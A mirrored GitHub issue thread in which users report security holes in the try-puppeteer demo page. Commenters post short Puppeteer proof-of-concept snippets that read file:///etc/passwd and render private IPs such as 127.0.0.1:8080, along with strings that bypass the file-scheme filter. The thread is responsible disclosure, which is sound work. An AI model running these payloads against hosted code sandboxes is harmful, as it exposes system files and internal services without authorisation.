Giter Site home page Giter Site logo

Demo page security about try-puppeteer HOT 8 CLOSED

ebidel avatar ebidel commented on May 14, 2024
Demo page security

from try-puppeteer.

Comments (8)

ebidel avatar ebidel commented on May 14, 2024

Thanks for the heads up! Chrome requires flags to allow access to file:/// from various web platform APIs. Puppeteer might want to do the same for security reasons.

In the meantime, I think we can intercept requests and prevent navigations to anything but https?:// urls.

from try-puppeteer.

anvaka avatar anvaka commented on May 14, 2024

Looks like it is still possible to get list of all your users.

If you run this code -

const browser = await puppeteer.launch();

const page = await browser.newPage();
await page.goto('file:///etc/passwd');

console.log(await page.content());
await page.screenshot({path: 'screenshot.png'});

await browser.close();

You'll get all users on the host.

from try-puppeteer.

Janpot avatar Janpot commented on May 14, 2024

@ebidel Looks like I'm also able to render pages on private IPs

const browser = await puppeteer.launch();

const page = await browser.newPage();
await page.goto('http://127.0.0.1:8080');

console.log(await page.content());
await page.screenshot({path: 'screenshot.png'});

await browser.close();

screen shot 2018-02-14 at 12 16 27

from try-puppeteer.

ebidel avatar ebidel commented on May 14, 2024

That's the https://backend-dot-try-puppeteer.appspot.com/ container. The app runs on the same vm and exposes 8080 as a webservice.

from try-puppeteer.

Janpot avatar Janpot commented on May 14, 2024

Well sure, I put that as quick example. One could imagine someone using the try-puppeteer code editor to scan the private IP address space looking for sensitive data.

from try-puppeteer.

stqp avatar stqp commented on May 14, 2024

@ebidel
I think you already know, we still can use "file:" scheme by below patterns.

  1. upper characters
     →  'FILE://etc/passwd'
  2. cantaining unintended「.」
     → 'file:/./etc/passwd'
  3. string concatenation
     → 'fi'+'le://etc/passwd'

thank you.

from try-puppeteer.

nachobonilla avatar nachobonilla commented on May 14, 2024

@ebidel can you provide a security contact email ? It would be great to send an email with more information on a variant of this issue that could have higher risks than the one provided here (and that should be fixed asap).

from try-puppeteer.

ebidel avatar ebidel commented on May 14, 2024

from try-puppeteer.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.